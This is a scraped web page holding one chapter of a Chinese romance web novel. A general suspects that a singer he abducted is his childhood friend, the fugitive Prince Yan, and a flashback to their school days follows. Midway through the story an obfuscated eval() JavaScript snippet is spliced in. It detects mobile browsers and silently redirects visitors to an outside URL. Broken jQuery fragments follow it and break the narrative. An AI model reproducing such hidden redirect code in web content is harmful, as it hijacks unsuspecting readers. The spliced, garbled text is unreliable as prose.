默认冷灰
24号文字
方正启体

11. 竹马之谊(修)

作者:丹青醉本书字数:K更新时间:
    宗淙被烫了烫,手上的力度跟着松了手:


    “我刚刚听到你喊……”


    “奴说好疼。”


    燕竹雪伸长脖子,露出上面可怖的掐痕:


    “将军,您方才掐奴,使了好大的劲啊,好疼。”


    眼睫一眨,未尽的泪珠跟着滚落,泪盈盈的目光里满是委屈。


    记忆中的少年,从来不会有这样示弱的时候。


    宗淙松了手,皱眉打量着眼前人,似乎当真有些怀疑自己是不是找错了人。


    燕竹雪从这一瞬间的犹豫里看到了机会,眼睫垂落,又是一副胆战心惊之态:


    “还请将军放奴回去,师傅要是找不着奴,会打骂的。”


    宗淙听着这一声又一声“奴”,脸色越来越冷,眉头皱得紧紧的,巴不得一脚将人踹出老远,眼一瞥又瞧见那圈被掐得红紫的脖颈,和柔柔弱弱微垂的面容,似乎随时能再哭一场。


    完全不敢再动武,简直像吞吃了苍蝇一般难受:


    “闭嘴,不许顶着这张脸称‘奴’。”


    燕竹雪垂下头,有点压不住嘴角扬起的笑意:


    原来,受不了这种柔弱做派啊。


    仔细想想,自己少年时好像最看不起动不动就哭的人。


    找到关键后,燕竹雪的戏瘾飙升,准备在离去前好好戏耍这差点掐死自己的混账,低着脑袋:


    “那,那将军放我回去吧,楼里还有客人等着呢,我这一走不知道亏了多少钱,师傅定然要扣我工钱,我们混风月场的,赚点钱不容易,若是将军能补偿些……”


    “本将军会找春风楼老板作赔。”


    燕竹雪大喜,可惜喜悦劲才刚刚冒出了头,就听宗淙又说:


    “但你别想跑,不管你是不是他,都不能顶着这张脸去唱曲。”


    “听说玉公子只是来春风楼帮忙,应当是没有签卖身契的,如此倒也省事。”


    宗淙走近一步,捏起那张和燕王极其肖似的脸,威胁一般地说道:


    “在本将查明你的身份前,不许踏出府门一步!”


    燕竹雪觉得下巴肯定给捏红了,咬牙在心底暗骂:


    混蛋!师傅教的不许欺负弱小都忘干净了吗!


    堂堂镇南将军,竟然欺负一个手无缚鸡之力的伶人!可恶!


    宗淙的确是故意欺负人,他想看看少年的反应,结果等了好一会,只等了一阵极其突兀的:


    “咕噜——”


    钳制住下巴的手忽而松开。


    宗淙打量着眼前不好意思眨着眼,捂住肚子的少年,想起方才这人在祠堂前的哭喊,转身道:


    “跟本将走。”


    宗淙带着人进了厅堂,里面早已摆上了晚饭。


    和寻常富家子弟不同,宗淙对吃的没什么追求,能填饱肚子就行,桌上就摆着白面馒头,而简单的一道简单的炒肉和炒菜。


    若是在从前,燕竹雪定然是吃不下的,但在战场上历练过后归来,也没了少年时那般挑刺,就着炒肉炒菜,三两下就吞下了好几个馒头。


    宗淙默不作声地看着,慢慢皱起了眉:


    当真……认错人了吗?


    脑海里蓦地响起少年人的感慨:


    “……一箭穿肠啊,真的有命活着?”


    他攥紧手中的筷子,抿唇不愿相信,没有注意到对面偷偷觑来的视线。


    得想个办法让宗淙彻底相信自己不是燕王。


    否则以二人之间的血仇,在确认他身份的第二天,宫里就要知道燕王的踪迹了。


    好日子都还没过几天呢,可不能这么快被找回去。


    燕竹雪默默咬了一口馒头,陷入沉思。


    一顿餐用得各怀心思,竟是诡异的安静。


    宗淙率先起身,他身上的甲胄还没来得及脱,打算去卧房内换身常服。


    才刚脱下甲胄,一只手伸了过来:


    “将军,我帮你吧。”


    宗淙一直知道身后跟着条尾巴,没赶人是想瞧瞧这人到底要做什么,闻声撤了手。


    冷眼看着少年将甲胄挂上了架子,又回头向自己走来,垂眸替他解腰带,这才制止道:


    “不必,你出去吧。”


    他还没打算就寝,稍后就要去校场盯那群不省心的手下挨罚了。


    少年却不走,垂眸安静了好一会,再次抬眼时,眼里却泛着莹莹泪花。


    宗淙给吓了一跳,连连后退:


    “你,你怎么又哭了?”


    “将军将我抢来,为的不就是做这些事吗?如今却喊我出去,这是不满意了吗?”


    不,什么?


    “本将是见你和燕王生得像,这才将你带进府中审讯,你这说的都是什么话!”


    燕竹雪压下心底的笑意,亦步亦趋地跟上,明明是一副谨小慎微的姿态,却因另一方的连连退避,倒像是强逼一般:


    “燕王常年戴一鬼面,甚少有人见过他的真容,如今我人都进了府,将军还要瞒吗?”


    燕竹雪学着柳闻莺的姿态,伸手摸上宗淙的脸:


    “我知道,将军是怕自己名声有损,毕竟宗家出的是儒将,做不来强抢之事,是以用燕王作遮掩,堵住悠悠众口,其实——”


    他凑近了些,几乎贴在宗淙耳畔,压低了声音:


    “将军是喜欢我的吧,否则现在,怎么会脸红?”


    宗淙被这突然起来的撩拨撩得浑身都僵了,燕竹雪只是轻轻一推,便将人推到在地。


    地上的人眼露怒火,额间青筋暴起:


    “你!你从本将身上滚下来!”


    嚯!竟真有用!


    他果然讨厌这样!


    燕竹雪没滚,欢喜地坐了上去,解开自己的腰带,故意将衣领往下拉了拉。


    想了想,又拉过那双地上的手,十指相扣:


    “将军装什么呢,奴就在这呀,喜欢,就上啊。”


    少年衣裳半解,凤目轻扬,明明在做孟浪之事,眼底的笑意却澄净明亮,几乎和记忆中的人重合。


    燕竹雪感觉被什么东西顶了顶。


    还未来得及细想,眼前一阵天旋地转,方才还被自己压在身下的人,此刻却坐在了自己身上。


    宗淙收紧相扣的手,目光紧咬着身下之人不放:


    “燕竹雪,就是你吧。”


    燕竹雪:?


    到底是哪里露出了破绽。


    宗淙原先或许还有几分犹豫,现下却能肯定地下了论断:


    自己并没有找错人。


    二人有着竹马之谊,不是亲兄弟却胜似兄弟。


    他可能不知道师弟长大后是什么摸样,是否还同少时相似,但他知道这个师弟的脾性:


    从小就胆大包天,没个正形。


    十三岁时怀疑心上人喜欢他,他做什么这小子便要学什么,连衣裳都要穿一样的,夫子在上头讲课,这小子在一旁眼巴巴盯着自己瞧,惹得宗学内谣言四起。


    不过此事也并且全然没有益处。


    燕府和宗府一向对立,哪怕师兄弟两个在私下频频接触,可因着不甚愉快的初见,在外面,一向是不对付的。


    这段时间仰赖于一方的有意接近,意外拉近了二人距离。


    哪怕误会解除,一向看自己不顺眼的小师弟,竟也开始在课上向他孜孜不倦地讨教:


    “粽粽,我听人说,如果要让一个人喜欢自己,得多牵牵手,牵个手竟然能关系到一个人喜不喜欢自己,是不是有很多讲究啊?”


    二人只相差一岁,除了在宗明奕和陆秋月面前,这小子会喊自己一声阿兄,其余时候都在那乱叫,心情不好的时候是宗淙,哪天心情好了就叫粽粽。


    宗淙早已习惯小师弟的没大没小,听到牵手就能让别人喜欢,心想里嗤笑这种骗小孩的话也信:


    “这话是谁告诉你的?”


    燕竹雪爷朝一个方向努了努嘴。


    本朝宗学并非只朝皇室宗族开放,朝中重臣之子,也可进宗学学习,而小王爷示意的方向,正坐着丞相家的小公子。


    丞相老来得子,将小孩养得珠圆玉润,简而言之:是个小胖子。


    燕竹雪看去时,那小胖子正一脸不满地盯着亲亲密密的二人。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074799|195241||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    小胖脸皱成一团,像是要找事一般,当即被小王爷瞪了回去:


    “看什么看!下学后别走!”


    小胖子的心情肉眼可见地好了点,笑得极其谄媚,看得小孩一脸莫名。


    宗淙倒是看明白了,心中颇为不解:


    这小胖子几日前还各种看阿雪不顺眼,怎么突然有了想亲近的心思?


    “近日你二人可有发生什么特别的事?”


    还的确有一件事,而且是天大的事,只是燕竹雪还没来得及和宗淙讲:


    “秋猎时那胖子使阴招,害我的面具摔坏了,那是父王亲自给我做的兔子面具,我平时都不舍得戴,就这样坏了,我气死了。”


    因为圣上当年的一句偏颇之言,小王爷自小戴面具,随着年龄的长大,面具自然也要跟着一起换。


    燕王年年都会给他亲自做个新的。


    那个小兔子面具,是六岁时父王留下的最后一个面具。


    小王爷央着师傅寻来民间艺人特意调整过,将覆面做大了些,原是能一直用到十七八岁的,就这样被小胖子弄坏了。


    “粽粽,许少华现在是我的仇人,我打他是有理由的,你日后若是瞧见了莫要再拦,只当没看见,知道吧?”


    宗淙扫了眼身侧一脸严肃的小孩,一针见血地点评:


    “就你这小身板,哪回真打疼过他。”


    又移开视线,冷着脸说:


    “下回喊上我,我现在也觉得他欠揍。”


    宗小公子的眼神刀锋似地扫过许少华的方向,心想难怪这小胖子突然转变了态度,原是看到了阿雪的脸。


    他家小师弟生得比姑娘还漂亮,确实招人得很。


    不过许少华是什么人,十岁就往花楼里跑,十三岁就追着姑娘喊娘子的混账东西,名声比他这个小霸王都要臭。


    生得还这样有碍观瞻,凭什么觊觎小师弟?


    追人前能不能撒泡尿先照照自己呢?


    宗淙正激烈地嫌弃胆敢觊觎自家弟弟的混账,手上忽觉一暖。


    天真不知事的小王爷抓着他的手,尝试着换了好几个牵手姿势:


    “粽粽,你觉得是这样舒服些,还是这样子……”


    注意到夫子瞟来的眼神,宗淙眼疾手快地反握回去。


    又免这小子倔脾气上来,强硬地撑开五指,牢牢嵌住,将这不老实的爪子压在了课桌下。


    小王爷看着五指相扣的两只手,呆了半晌,旋即目露恍然:


    “哦,原来要这样子牵。”


    他开心地晃了晃被牵住的手:


    “粽粽,这样牵你舒服吗?”


    宗淙这才后知后觉自己做了什么,牢牢扣在手上的温软叫他一下子涨红了脸。


    心跳如雷,一刻不停的提醒自己藏了什么龌龊的心思,于是当即挥开了手,差点打到小师弟脸上,将人吓得都呆了呆。


    身子一个后仰,就碰倒了砚台,碎瓷溅落一地,将那双白嫩的手划出一地的鲜血。


    右手拇指处的伤口格外深,当时小师弟举着个包子似的拇指,提笔写了一个多月的毛笔字,才终于给养回来。


    后来自然也留下了一道不深不浅的细疤。


    宗淙摩挲着右手拇指上的细疤,似是调笑,声音却极其冷沉:


    “小师弟,怎么还是同从前一样,喜欢乱撩拨人呢?”


    燕竹雪没想到宗淙竟然会记得这样小的一道疤,半晌扯不出合理的谎话。


    宗淙脸上的羞恼早已褪去,他紧紧攥着手中的指骨,带着似要捏碎般的力度:


    “我真的想不明白,你害死我爹娘,怎么还有脸勾引我?当年苍古镇……”


    “你装什么?这点痛也受不住?”


    身下之人双目紧闭,额间渗出细汗,就连唇色也一下子苍白了下来。


    好像不是装的。


    宗淙连忙收起跨坐而上的腿,将人扶到怀里:


    “到底怎么了?”


    燕竹雪晃了晃脑袋,捂住发疼的后脑,咬牙道:


    “你方才那一撞,叫我磕着后脑了,疼死了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)